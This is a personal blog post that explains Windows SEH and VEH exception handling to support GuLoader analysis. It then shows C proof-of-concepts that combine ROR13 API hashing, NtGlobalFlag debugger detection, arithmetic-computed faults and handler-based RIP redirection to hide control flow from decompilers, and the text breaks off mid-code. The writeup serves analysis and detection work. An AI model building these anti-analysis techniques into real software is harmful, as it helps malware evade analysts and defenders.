Krakz

It's Called a VEH-tor ↗️

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Wed, 20 May 2026 00:00:00 +0200

Reading through an old GuLoader sample in the decompiler, following the exception handler, trying to understand what it was actually doing, made it clear that my knowledge of Windows exception handling was not structured enough to tackle this kind of obfuscation confidently on another family. I knew the broad strokes, enough to recognize the technique, but not enough to follow it precisely or explain it to someone else.

This is a personal writeup, an attempt to connect the dots properly rather than carry around a vague understanding that works until it does not. It covers the theoretical foundation of SEH and VEH, and how the internal structures look in a debugger and a disassembler.

A lot of what ended up here was things I already had a rough idea of but had never verified properly. Documenting what I learned about exceptions allowed me to refine my grasp of the subject. Nothing revolutionary, just notes from someone who went back to the source and want to avoid future headaches.

What brought me back to this subject is the analysis of GuLoader that uses VEH (see SonicWall, Zscaler and Unit42 articles for more deeper malware analysis).

This article is my attempt to write down what I learned properly, starting from the actual concepts rather than jumping straight to the tricks. SEH and VEH are legitimate, well-designed mechanisms. Understanding how they are supposed to work is what makes the abuse readable.

The first part covers the concepts and the API, how the OS dispatches exceptions, how SEH and VEH handlers are registered, and what developers normally use them for. The second part gets into the malware side: how exception handling gets repurposed to hide execution flow. To wrap things up, I decided to test some detection logic. I hacked together a basic implementation in C; while my C skills are definitely still a ‘work in progress,’ the code serves its purpose in demonstrating how to catch this behavior.

If you already know Windows internals well, the first two parts will mostly be a refresher. If you are coming at this from the analysis side without much background in the underlying mechanism, I hope starting from the foundation makes the second part easier to follow.

Before going further, here are some interesting external resources related to VEH related to malware domain:

SEH, VEH and a Word on C++ Exceptions #

What an exception is at the OS level and how Windows dispatches it (brief, just enough to understand the rest)
SEH: the stack-based chain, per-thread, per-frame, how the compiler owns it for you
VEH: process-wide, heap-resident, fires before SEH, the two-function API
The difference with C++ exceptions: try/catch is a language abstraction built on top of SEH, not the same thing, why that distinction matters when you are reading disassembly

The three terms (SEH, VEH and Exception) often get conflated, especially in malware analysis writeups (and especially by myself).

What is an exception at the OS level? When something goes wrong during execution, whether it is a divide by zero, an access to an unmapped memory page, or an explicit int 3 instruction, the CPU raises an exception. Control transfers to the kernel, which builds an EXCEPTION_RECORD describing what happened and a CONTEXT structure capturing the full register state at the time of the fault. Windows then tries to find something in user space that knows how to handle it. That search is what SEH and VEH are about.

Structured Exception Handling #

SEH in x86 #

SEH is the older of the two mechanisms. The idea is straightforward: each function that wants to handle exceptions registers a handler on the stack, forming a linked list rooted at fs:[0] on x86. When an exception occurs, Windows walks that list from the top, giving each registered handler a chance to deal with it. If a handler claims the exception, execution resumes. If nothing handles it, the process crashes.

From a developer perspective, SEH is what sits behind __try / __except / __finally in C. The compiler does most of the work, emitting the registration and cleanup code around the blocks. On x64 the implementation is different: instead of a runtime chain on the stack, the compiler emits a static table in the .pdata section that the OS uses to unwind. The surface API looks the same but the mechanics underneath are not. That is still unclear to me…

#include <windows.h>
#include <stdio.h>

int main(void)
{
    __try
    {
        // intentionally trigger an access violation
        int *ptr = NULL;
        *ptr = 42;
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        printf("SEH caught the exception\n");
    }

    return 0;
}

The C file is compiled with this command line: cl.exe /Zi /O1 /GS- test-seh.c. See below the difference between x86 that uses the fs:[0] and the x64 version that has the logic in the .pdata section.

Figure 1: Main function in 32bit environment

In the 32bits architecture, the exception is “registered” by the first instruction of the main function (see the screenshot below). Where the compiler add the following instructions:

push 8
push offset struc_478178
call j__SEH_prolog
xor eax, eax

What __SEH_prolog does internally is:

Saves the current fs:[0] value (the previous handler in the chain)
Builds an EXCEPTION_REGISTRATION_RECORD on the stack
Points fs:[0] to it, inserting this function into the SEH chain
Sets up the ms_exc local variable, which is the structure MSVC uses to track the current state of the exception handling frame

The structure struc_478178 is:

Figure 2: struc_478178 content

typedef struct _SCOPETABLE_ENTRY
{
    DWORD EnclosingLevel;    // index of the enclosing scope, -1 if none
    PVOID FilterFunc;        // pointer to the filter expression
    PVOID HandlerFunc;       // pointer to the __except or __finally block
} SCOPETABLE_ENTRY;

Looking at the entry <0FFFFFFFFh, offset $LN5, offset catch_except_ptr_42>:

EnclosingLevel = 0xFFFFFFFF this is -1, meaning this __try block has no enclosing __try block, it is the outermost one in the function
FilterFunc = $LN5 this is the compiled form of the filter expression, the code that evaluates EXCEPTION_EXECUTE_HANDLER or whatever condition I would put in the C code __except(...)
HandlerFunc = catch_except_ptr_42 this is the actual __except block that runs if the filter says to handle the exception

SEH in x64 #

Regarding 64 bits architecture, the following main function is:

Figure 3: x64 decompiled main function

Here, as a first observation there is no fs:[0], no __SEH_prolog call. There is no explicit registration at function scope level (from my understanding).

The handler is registered statically through the .pdata (I read that it also can be store in .rdata section too) structures.

The .pdata store the RUNTIME_FUNCTION structure that is define by three terms: BeginAddress, EndAddress and UnwindData (the last one is a pointer to the UNWIND_INFO structure).

When the access violation fires at mov dword ptr [rax], 2Ah (writing 42 to a null pointer), the OS:

Catches the fault in the kernel
Comes back to user mode and calls RtlDispatchException
Takes the faulting RIP, does a binary search in .pdata to find the matching RUNTIME_FUNCTION (the structure that validate this condition: BeginAddress <= FaultyRIP < EndAddress)
Follows it to the UNWIND_INFO, sees __C_specific_handler as the registered handler
Calls __C_specific_handler which walks the C_SCOPE_TABLE, finds the scope covering the faulting address, evaluates the filter main$filt$0
Filter returns EXCEPTION_EXECUTE_HANDLER, execution jumps to $LN6 which is the __except block calling printf

The “workflow” of the exception is defined as below:

Exception Triggers
  -> OS looks up RIP in .pdata
    -> Locates RUNTIME_FUNCTION (here stru_140092378)
      -> Follows pointer to UNWIND_INFO
        -> Calls __C_specific_handler
          -> Searches C_SCOPE_TABLE
            -> Jumps to $LN6 (my __except block)

Figure 4: .pdata section that hold the RUNTIME_FUNCTION for my exception in the main function

IDA labeled it ExceptionDir because it is the first entry in the exception directory. The three fields map directly to the main function:

rva main is the start address of the function, 0x140007250
rva byte_14000727E is the end address of the main function
rva stru_140092378 is the pointer to the UNWIND_INFO structure, the one that contains __C_specific_handler and the C_SCOPE_TABLE

The structure is as follow:

Figure 5: IDA view of the structure stru_140092378

stru_140092378 is the UNWIND_INFO structure that the .pdata entry for main points to. It is made of three parts:

The UNWIND_INFO_HDR is the header. It describes the prologue of the function.
The UNWIND_CODE is the actual unwinding instruction.
After the unwind codes, because UNW_FLAG_EHANDLER was set, comes the exception handler pointer pointing to __C_specific_handler, followed by the C_SCOPE_TABLE (which a bit different from the structure for x86). That table is where the actual exception handling logic is described: which address range is covered by the __try block, which function to call as the filter, and where to redirect execution if the filter decides to handle the exception.

In x64 the C_SCOPE_TABLE_ENTRY structrure is defined as:

struct _C_SCOPE_TABLE_ENTRY {
    uint32_t BeginAddress;    // RVA of the start of the __try block
    uint32_t EndAddress;      // RVA of the end of the __try block
    uint32_t HandlerAddress;  // RVA of the filter or __finally handler
    uint32_t JumpTarget;
} C_SCOPE_TABLE_ENTRY

Code Snippet 1: C_SCOPE_TABLE defintion

One structure, three responsibilities: unwind the stack, find the handler, map the guarded region.

So the definition of the structure is:

typedef struct _UNWIND_INFO
{
    BYTE VersionAndFlags;       // UNWIND_INFO_HDR - version + flags (UNW_FLAG_EHANDLER etc.)
    BYTE SizeOfProlog;          // UNWIND_INFO_HDR - prologue size in bytes
    BYTE CountOfCodes;          // UNWIND_INFO_HDR - number of UNWIND_CODE slots
    BYTE FrameRegisterAndOffset;// UNWIND_INFO_HDR - frame register + offset

    UNWIND_CODE UnwindCodes[];  // variable length array, CountOfCodes entries
                                // padded to 4 byte alignment

    // only present if flags contain UNW_FLAG_EHANDLER or UNW_FLAG_UHANDLER
    DWORD ExceptionHandlerRVA;  // rva j___C_specific_handler

    // handler specific data, depends on which handler is used
    // for __C_specific_handler this is the C_SCOPE_TABLE
    C_SCOPE_TABLE ScopeTable;

} UNWIND_INFO;

Code Snippet 2: _UNWIND_INFO structure

At the end of the UNWIND_INFO (if certain flags like UNW_FLAG_EHANDLER are set), there is an extra field called the ExceptionHandler. For C/C++ code compiled with MSVC, this almost always points to __C_specific_handler.

Link to Microsoft documentation

Vectored Exception Handling #

VEH was introduced in Windows XP and works differently. Instead of being tied to the stack, VEH handlers are registered at the process level and stored in a list maintained by ntdll. The vectored handler list is consulted before SEH. If any VEH handler claims the exception, the SEH chain is never walked at all.

The API is simple. A handler is registered with AddVectoredExceptionHandler, which takes a flag indicating whether the handler should be first or last in the list, and a pointer to the handler function. The handler receives an EXCEPTION_POINTERS structure giving it access to both the EXCEPTION_RECORD and the CONTEXT. It then returns either EXCEPTION_CONTINUE_EXECUTION to resume execution, or EXCEPTION_CONTINUE_SEARCH to pass to the next handler.

There is also a sibling mechanism called Vectored Continue Handlers, registered with AddVectoredContinueHandler, which fires after a handler has already claimed the exception. I did not exercice this path in the article.

#include <windows.h>
#include <stdio.h>

LONG CALLBACK MyVectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
    {
        printf("VEH caught an access violation at 0x%p\n",
               ExceptionInfo->ExceptionRecord->ExceptionAddress);

        // move RIP past the faulting instruction (could be wrapped with macro for 32bit with eip)
        ExceptionInfo->ContextRecord->Rip += 2;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

int main(void)
{
    PVOID handler = AddVectoredExceptionHandler(1, MyVectoredHandler);

    // intentionally trigger an access violation
    int *ptr = NULL;
    *ptr = 42;

    RemoveVectoredExceptionHandler(handler);
    return 0;
}

Here registration is explicit. The first argument to AddVectoredExceptionHandler being 1 means this handler goes to the front of the list, so it fires before any other VEH handler and before SEH. The handler inspects the exception code, adjusts RIP to skip past the faulting instruction, and returns EXCEPTION_CONTINUE_EXECUTION to resume. If the exception is not one it cares about, it returns EXCEPTION_CONTINUE_SEARCH to let the next handler in the chain take over. The key difference to notice: in the SEH example the handler is scoped to the __try block and the stack frame it lives in. In the VEH example the handler is active process-wide from the moment it is registered until RemoveVectoredExceptionHandler is called, regardless of which function is currently executing.

C++ Exceptions are not the Same Thing #

This one trips people up. When you write try / catch in C++, you are using the C++ exception model, which is a language-level abstraction. Under the hood on Windows, the compiler implements it on top of SEH, using a special SEH filter to match C++ exception types. But they are not the same layer. A C++ catch block is not an SEH handler, and it is definitely not a VEH handler.

The reason this distinction matters in practice is that when you are reversing a sample and you see AddVectoredExceptionHandler being called, you are not looking at a compiler artifact. There is no language feature that emits that call for you. It is explicit, intentional code, and whoever wrote it made a deliberate choice to intercept exceptions at the process level before anything else gets a chance to see them.

If you are interested in C++ exceptions, I highly encourage you to read C++ Unwind Exception Metadata: A Hidden Reverse Engineering Bonanza written by Rolf Rolles.

How the VEH List is Built and Stored #

The VEH list is a doubly-linked list maintained per-process in user-mode memory, managed by ntdll.dll. It holds pointers to registered PVECTORED_EXCEPTION_HANDLER callbacks.

When AddVectoredExceptionHandler is called, it calls a thin wrapper that forwards to RtlAddVectoredExceptionHandler in ntdll.dll. That is where the actual work happens, and it is worth understanding what that function does with the handler pointer.

Ntdll maintains two doubly linked lists for exception handling, one for vectored exception handlers and one for vectored continue handlers. Both lists are anchored by a single global structure that lives inside ntdll’s data segment, commonly referred to as LdrpVectorHandlerList in debugging sessions.

The structure looks roughly like this:

typedef struct _VECTORED_HANDLER_LIST
{
    SRWLOCK Lock;           // slim reader/writer lock protecting the list
    LIST_ENTRY VEHList;     // head of the vectored exception handler list
    LIST_ENTRY VCHList;     // head of the vectored continue handler list
} VECTORED_HANDLER_LIST;

Each registered handler is wrapped in a node that gets allocated on the heap:

typedef struct _VECTORED_EXCEPTION_NODE
{
    LIST_ENTRY ListEntry;         // links to previous and next node
    PVOID EncodedHandler;         // the function pointer, but encoded
    ULONG ReferenceCount;
} VECTORED_EXCEPTION_NODE;

The LIST_ENTRY is the standard Windows doubly linked list structure, with a Flink pointing to the next node and a Blink pointing to the previous one. The list head in LdrpVectorHandlerList acts as the sentinel node, so walking from VEHList.Flink until you loop back to the head gives you every registered handler in order.

RtlAddVectoredExceptionHandler does the following (in order):

Allocates a VECTORED_EXCEPTION_NODE on the process heap with RtlAllocateHeap
Encodes the function pointer using RtlEncodePointer before storing it in EncodedHandler
Acquires an exclusive lock on the SRWLOCK in LdrpVectorHandlerList
Inserts the node either at the front or at the back of the list depending on the first parameter you passed
Releases the lock
Returns the address of the node as the handle you use later to remove it

The first parameter is documented as ULONG First. A non-zero value puts the handler at the head of the list, meaning it will be called before any previously registered handler. Zero puts it at the tail.

When an exception occurs, after the kernel-side handling and the transition back to user mode, ntdll calls RtlDispatchException. Before touching SEH, it acquires a shared lock on LdrpVectorHandlerList and walks the VEH list from head to tail. For each node it decodes the handler pointer and calls it with the EXCEPTION_POINTERS structure. If a handler returns EXCEPTION_CONTINUE_EXECUTION, the walk stops and execution resumes. If it returns EXCEPTION_CONTINUE_SEARCH, the walk continues to the next node. If the entire VEH list is exhausted without anyone claiming the exception, the SEH chain is walked. If SEH also passes, the VCH list is walked. (VCH: Vectored Continue Handlers, where handler are register via AddVectoredContinueHandler).

The ordering guarantee is therefore strict: VEH first, in registration order, then SEH, then VCH.

Practice: Observing it at runtime #

This is a short of note section on how to inspect the exception regarding VEH and its underlaying structure in WinDbg. For this short exercice, I used the following C code is used:

#include <windows.h>
#include <stdio.h>

LONG CALLBACK FirstHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
    {
        printf("FirstHandler: passing to next handler\n");
        return EXCEPTION_CONTINUE_SEARCH;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

LONG CALLBACK SecondHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
    {
        printf("SecondHandler: claiming the exception\n");

        ExceptionInfo->ContextRecord->Eip += 6;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main(void)
{
    PVOID h1 = AddVectoredExceptionHandler(1, FirstHandler);
    PVOID h2 = AddVectoredExceptionHandler(1, SecondHandler);

    int *ptr = NULL;
    *ptr = 42;

    RemoveVectoredExceptionHandler(h1);
    RemoveVectoredExceptionHandler(h2);

    printf("execution continued after the fault\n");
    return 0;
}

NB: I skip the part where I setup the symbols in windbg.

To watch how: the double linked list work, the following breakpoints are set:

bp ntdll!RtlpCallVectoredHandlers
bp double_veh!FirstHandler
bp double_veh!SecondHandler

Why breaking at RtlpCallVectoredHandlers? Reading from the bottom up, this is the full execution path that led to the VEH list walk:

Figure 6: capture of the stack after reaching the RtlpCallVectoredHandler in ntdll (just after ACCESS_VIOLATION occured)

_RtlUserThreadStart and BaseThreadInitThunk are the standard thread startup boilerplate
__scrt_common_main_seh is the MSVC CRT startup wrapper that calls main
main+0x30 is my code, specifically line 32 in double-veh.c which is the null pointer write *ptr = 42
KiUserExceptionDispatcher is the first user mode function that ran after the kernel caught the fault, the entry point back from kernel mode
RtlDispatchException+0x67 is where the OS starts looking for a handler
RtlpCallVectoredHandlers is where the execution is currently -> the function about to walk the process VEH list

The key thing to point out for the article is frames 02, 01 and 00. That three step sequence from KiUserExceptionDispatcher to RtlDispatchException to RtlpCallVectoredHandlers is the exact dispatch chain.

Let it run with g until it hits another breakpoint which should be SecondHandler, since it is registered second with parameter 1 so the first in the VEH list.

Figure 7: windbg capture of the stack after hitting SecondHandler function during the exception management

Now looking at dd esp, the second value 010fec90 is the EXCEPTION_POINTERS pointer being passed as the argument to the handler (SecondHandler). Which can follow with: dt EXCEPTION_POINTERS 010fec90.

And we obtains:

double_veh!_EXCEPTION_POINTERS
   +0x000 ExceptionRecord  : 0x010fed74 _EXCEPTION_RECORD
   +0x004 ContextRecord    : 0x010fedc4 _CONTEXT

and with dt _EXCEPTION_RECORD 0x010fed74 to inspect the exception record

Figure 8: Exception record inspection

This is what expected to observed the code is 0n-1073741819 which is equivalent to 0xC0000005 (STATUS_ACCESS_VIOLATION)

To convert this value from windbg to a hexadecimal representation I used the following Python snippet:

value = -1073741819
print(hex(value & 0xFFFFFFFF))

0xc0000005

Using Exceptions as a Control Flow Primitive #

In this section, I decided to put my modest C skills to the test to see if I could trip up the decompiler.

Three source codes are provided as Proof of Concept see them as ladder to tackle the above challenge.

Simple PoC which API hashing.
Introduce inline ASM to produce faulty instruction.
Improve code to trick decompiler to resolv faulty instructions construction.

VEH combined with API hashing #

The PoC starts by resolving AddVectoredExceptionHandler through API hashing rather than a normal import: the function name is reduced to a single 32-bit ROR13 constant (0x159B3EA0), and a small resolver walks kernel32’s export directory at runtime, transparently following the forwarder into kernelbase.dll. No string, no IAT entry, no static cross-reference. Once the address is in hand, the handler is registered with CALL_FIRST priority so it sees exceptions before anything else in the process, and the program deliberately raises an int3 to invoke it. Inside the handler, instead of calling IsDebuggerPresent, the code reads NtGlobalFlag directly from the PEB at offset 0xBC (x64) or 0x68 (x86) and tests for the 0x70 heap-debug bit pattern that Windows OR’s in whenever a process is launched under a debugger. I recently came accross this technique which is documented by CheckPoint in there Anti-Debug: Debug Flags documentation.

In the normal case the bits are clear, the handler advances RIP past the int3, returns EXCEPTION_CONTINUE_EXECUTION, and the program prints its “survived” message and exits cleanly. Under a debugger the same read returns 0x70, the process terminates with exit code 0xDEAD.

#include <windows.h>
#include <stdio.h>

#define FLG_HEAP_ENABLE_TAIL_CHECK    0x10
#define FLG_HEAP_ENABLE_FREE_CHECK    0x20
#define FLG_HEAP_VALIDATE_PARAMETERS  0x40
#define NT_GLOBAL_FLAG_DBG_MASK \
    (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)

typedef PVOID (WINAPI *pfnAddVectoredExceptionHandler)(
    ULONG First,
    PVECTORED_EXCEPTION_HANDLER Handler);

static ULONG GetNtGlobalFlag(void)
{
#ifdef _WIN64
    PBYTE peb = (PBYTE)__readgsqword(0x60);
    return *(volatile ULONG *)(peb + 0xBC);
#else
    PBYTE peb = (PBYTE)__readfsdword(0x30);
    return *(volatile ULONG *)(peb + 0x68);
#endif
}

static LONG WINAPI MyVectoredHandler(PEXCEPTION_POINTERS ep)
{
    if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_BREAKPOINT)
        return EXCEPTION_CONTINUE_SEARCH;

    ULONG flag = GetNtGlobalFlag();
    printf("[VEH] hit. NtGlobalFlag = 0x%lx\n", flag);

    if ((flag & NT_GLOBAL_FLAG_DBG_MASK) == NT_GLOBAL_FLAG_DBG_MASK) {
        printf("[VEH] debugger detected via NtGlobalFlag -> bailing.\n");
        ExitProcess(0xDEAD);
    }

    printf("[VEH] clean. Skipping the int3 and resuming.\n");

#ifdef _WIN64
    ep->ContextRecord->Rip += 1;
#else
    ep->ContextRecord->Eip += 1;
#endif
    return EXCEPTION_CONTINUE_EXECUTION;
}

#define HASH_ADDVECTOREDEXCEPTIONHANDLER  0x159B3EA0UL

static DWORD Ror13Hash(const char *s)
{
    DWORD h = 0;
    while (*s) {
        h = (h >> 13) | (h << 19);
        h += (BYTE)*s++;
    }
    return h;
}

static FARPROC ResolveByHash(HMODULE hMod, DWORD target)
{
    PBYTE base = (PBYTE)hMod;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;

    IMAGE_DATA_DIRECTORY dir =
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!dir.VirtualAddress || !dir.Size) return NULL;

    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)(base + dir.VirtualAddress);
    PDWORD names    = (PDWORD)(base + exp->AddressOfNames);
    PWORD  ordinals = (PWORD) (base + exp->AddressOfNameOrdinals);
    PDWORD funcs    = (PDWORD)(base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)(base + names[i]);
        if (Ror13Hash(name) != target) continue;

        DWORD funcRva = funcs[ordinals[i]];

        if (funcRva >= dir.VirtualAddress &&
            funcRva <  dir.VirtualAddress + dir.Size)
        {
            const char *fwd = (const char *)(base + funcRva);
            const char *dot = fwd;
            while (*dot && *dot != '.') dot++;
            if (*dot != '.') return NULL;

            char dllName[64];
            size_t n = (size_t)(dot - fwd);
            if (n + 5 > sizeof(dllName)) return NULL;
            for (size_t k = 0; k < n; k++) dllName[k] = fwd[k];
            dllName[n+0] = '.'; dllName[n+1] = 'd';
            dllName[n+2] = 'l'; dllName[n+3] = 'l';
            dllName[n+4] = 0;

            HMODULE hNext = GetModuleHandleA(dllName);
            if (!hNext) hNext = LoadLibraryA(dllName);
            if (!hNext) return NULL;

            return ResolveByHash(hNext, Ror13Hash(dot + 1));
        }

        return (FARPROC)(base + funcRva);
    }
    return NULL;
}

int main(void)
{
    HMODULE hK32;
    pfnAddVectoredExceptionHandler pAddVEH;
    PVOID hVEH;

    hK32 = GetModuleHandleA("kernel32.dll");
    if (!hK32) {
        fprintf(stderr, "[-] GetModuleHandleA failed (%lu)\n", GetLastError());
        return 1;
    }

    pAddVEH = (pfnAddVectoredExceptionHandler)
        ResolveByHash(hK32, HASH_ADDVECTOREDEXCEPTIONHANDLER);
    if (!pAddVEH) {
        fprintf(stderr, "[-] hash resolution failed\n");
        return 1;
    }
    printf("[+] AddVectoredExceptionHandler resolved at %p\n", (void*)pAddVEH);

    hVEH = pAddVEH(1, MyVectoredHandler);
    if (!hVEH) {
        fprintf(stderr, "[-] AddVectoredExceptionHandler returned NULL\n");
        return 1;
    }
    printf("[+] VEH installed at handle %p. Triggering int3...\n", hVEH);

    __debugbreak();

    printf("[+] Survived. NtGlobalFlag check did not trip.\n");
    return 0;
}

Code Snippet 3: PoC to implement an Exception that hijack the standard execution flow when it is in a debugger

Figure 9: Output of two execution, one in nominal execution and another in the debug that trigger the ExitProcess(0xDEAD)

This is a very simple scenario of how malware could abuse this feature to “hijack” the execution flow, here the Exception is made with an explicite int3. But nothing is really hidden when decompiling the binary, even with dynamic api resolution, so analyst just after resolving the hash will pretty fastly catch what to analyse. So, from an attacker point of view, how could this simple scenario can be improved?

VEH / A failed way to “Arithmetic as a smokescreen” #

First idea is to change the code that raise the exception, so instead of a int3 why not triggering an ACCESS_VIOLATION based on simple arithmetic calculation.

Here for instance, we can add an inline ASM block that will trigger an ACCESS_VIOLATION by compute via boolean arithmetic a zero that will be used as an address:

mov rbx, 0xdeadbeef
mov rcx, 0xd2acc002
add rcx, 0xc00feed
xor rbx, rcx
mov [rbx], rcx

This result in the register rbx being set to 0, that could read in C as int *ptr = NULL; *ptr = 0xdeadbeef;

#include <windows.h>
#include <stdio.h>

#define FLG_HEAP_ENABLE_TAIL_CHECK    0x10
#define FLG_HEAP_ENABLE_FREE_CHECK    0x20
#define FLG_HEAP_VALIDATE_PARAMETERS  0x40
#define NT_GLOBAL_FLAG_DBG_MASK (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)


static ULONG GetNtGlobalFlag(void)
{
#ifdef _WIN64
    PBYTE peb = (PBYTE)__readgsqword(0x60);
    return *(volatile ULONG *)(peb + 0xBC); // NtGlobalFlag in x64
#else
    PBYTE peb = (PBYTE)__readfsdword(0x30);
    return *(volatile ULONG *)(peb + 0x68); // NtGlobalFlag in x86
#endif
}

/* ---------- The vectored handler --------------------------------------- */
static LONG WINAPI MyVectoredHandler(PEXCEPTION_POINTERS ep)
{
    if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_ACCESS_VIOLATION)
        return EXCEPTION_CONTINUE_SEARCH;
    if (ep->ExceptionRecord->ExceptionInformation[1] != 0)
        return EXCEPTION_CONTINUE_SEARCH;

    ULONG flag = GetNtGlobalFlag();
    printf("[VEH] hit. NtGlobalFlag = 0x%lx\n", flag);

    if ((flag & NT_GLOBAL_FLAG_DBG_MASK) == NT_GLOBAL_FLAG_DBG_MASK) {
        printf("[VEH] debugger detected via NtGlobalFlag.\n");
        ExitProcess(0xDEAD);
    }

    printf("[VEH] clean. Skipping the faulting store and resuming.\n");

#ifdef _WIN64
    ep->ContextRecord->Rip += 3;
#else
    ep->ContextRecord->Eip += 2;
#endif
    return EXCEPTION_CONTINUE_EXECUTION;
}

int main(void)
{
    PVOID hVEH = AddVectoredExceptionHandler(1, MyVectoredHandler);
    if (!hVEH) {
        fprintf(stderr, "[-] AddVectoredExceptionHandler returned NULL\n");
        return 1;
    }
    printf("[+] VEH installed at handle %p. Triggering AV via arithmetic NULL...\n", hVEH);

    /* Compute a NULL pointer at runtime via boolean arithmetic,
     rcx  = 0xd2acc002 + 0x0c00feed = 0xdeadbeef
     rbx ^= rcx   -> 0xdeadbeef ^ 0xdeadbeef = 0
     [rbx] = rcx  -> write to address 0 -> EXCEPTION_ACCESS_VIOLATION */
    __asm__ volatile (
        ".intel_syntax noprefix\n\t"
        "mov rbx, 0xdeadbeef\n\t"
        "mov rcx, 0xd2acc002\n\t"
        "add rcx, 0x0c00feed\n\t"
        "xor rbx, rcx\n\t"
        "mov [rbx], rcx\n\t"
        ".att_syntax prefix\n\t"
        ::: "rbx", "rcx", "memory"
    );

    printf("[+] Survived. NtGlobalFlag check did not trip.\n");
    return 0;
}

Code Snippet 4: Source: [veh_arithmetic_access_violationation.c]

x86_64-w64-mingw32-gcc -Wall -O0 veh_arithmetic_access_violationation.c -o veh.exe

From the disasembly view it is what I was expected, however Hex-Rays is doing constant propagation across the basic block. It sees five instructions with pure-immediate inputs and no external state, so it folds the whole computation at decompile time.

Figure 10: Disassembly view and decompiled view in IDA

This implementation is too transparent: Hex-Rays was able to fold the five constant-driven instructions into a single MEMORY[0] = 0xdeadbeef.

VEH / Sealing the fault #

This section builds on the previous proof of concept and pushes the obfuscation one step further, targeting the decompiler specifically: constants are hidden behind an opaque wrapper, and the handler stops stepping over the fault and starts redirecting execution to an entirely separate function.

Basically what I want to test is the following workflow:

hVEH = AddVectoredExceptionHandler(1, MyVectoredHandler);
t = (uint64_t)hVEH;
g_mask = (t ^ Opaque(t)) + Opaque(0xd2acc002) + 0x0c00feed;
mask_val = g_mask;
__asm { mov rcx, 0xd2acc002; add rcx, 0xc00feed; xor rbx, rcx; mov [rbx], rcx }
printf("(decoy) Survived..."); // I don't want to see this in the decompiled view

The idea here was to try to make the decompiler less helpful to the analyst, both at the operand level and at the control-flow level. I’m not sure these are the best techniques, but two small changes were layered onto the previous PoC to see if Hex-Rays could still be coaxed away from showing a tidy MEMORY[0] = 0xdeadbeef.

First, the constants feeding the inline asm go through Opaque() function, a noinline identity function wrapping a volatile read. The two attributes seem to pull in different directions, and I think that’s why it works. noinline forces the compiler to emit a real call at every call site instead of pasting the body inline. volatile tells it the value inside the function could change between the store and the load (in practice it can’t, but as far as I understand the standard says the compiler has to assume it might), so it can’t reason about what comes out. Together you get something close to a sealed black box: the compiler has to make the call, and once execution is inside it can’t really prove anything about the return value.

In my tests 0xdeadbeef no longer shows up as a literal anywhere in the binary, it only exists in rbx at runtime after the Opaque() compute part of the operation with other static variable.

Second, the handler stops being polite. Instead of just stepping over the faulting instruction, it rewrites CONTEXT.Rip to point at a separate function, named here RealNextStage, which is where the real “work” happens. From what I’ve seen, IDA seems to treat an access violation as a dead end, so the decompilation of main just stops at the fault. The printf sitting right after it looks like reachable code but never actually runs, and the code that does run lives in a function with no static reference from main at all.

An analyst still has to read the handler, spot the Rip write, and follow it by hand. That probably isn’t a huge obstacle for someone experienced, but it does mean main’s decompilation on its own won’t point the way.

#include <windows.h>
#include <stdio.h>
#include <stdint.h>


#define FLG_HEAP_ENABLE_TAIL_CHECK    0x10
#define FLG_HEAP_ENABLE_FREE_CHECK    0x20
#define FLG_HEAP_VALIDATE_PARAMETERS  0x40
#define NT_GLOBAL_FLAG_DBG_MASK (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)

static __attribute__((noinline)) uint64_t Opaque(uint64_t x)                                                                  (opaque-fnc)
{
    volatile uint64_t v = x;
    return v;
}

/* (volatile, in .bss) */
static volatile uint64_t g_mask;

// Same as previous PoC
static ULONG GetNtGlobalFlag(void)
{
#ifdef _WIN64
    PBYTE peb = (PBYTE)__readgsqword(0x60);
    return *(volatile ULONG *)(peb + 0xBC);
#else
    PBYTE peb = (PBYTE)__readfsdword(0x30);
    return *(volatile ULONG *)(peb + 0x68);
#endif
}

/* Reached only by the VEH rewriting CONTEXT.Rip. It has no static caller,
so IDA shows zero xrefs to it from main. End with ExitProcess because
there is no return address to ret */
static void __attribute__((used, noinline)) RealNextStage(void)                                                               (realnextstage-fnc)
{
    printf("[+] RealNextStage reached. Decompiler thinks main() crashed here.\n");
    printf("[+] This is the path real loaders use to hide their flow.\n");
    ExitProcess(0);
}

static LONG WINAPI MyVectoredHandler(PEXCEPTION_POINTERS ep)
{
    if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_ACCESS_VIOLATION)
        return EXCEPTION_CONTINUE_SEARCH;
    if (ep->ExceptionRecord->ExceptionInformation[1] != 0)
        return EXCEPTION_CONTINUE_SEARCH;

    ULONG flag = GetNtGlobalFlag();
    printf("[VEH] hit. NtGlobalFlag = 0x%lx\n", flag);

    if ((flag & NT_GLOBAL_FLAG_DBG_MASK) == NT_GLOBAL_FLAG_DBG_MASK) {
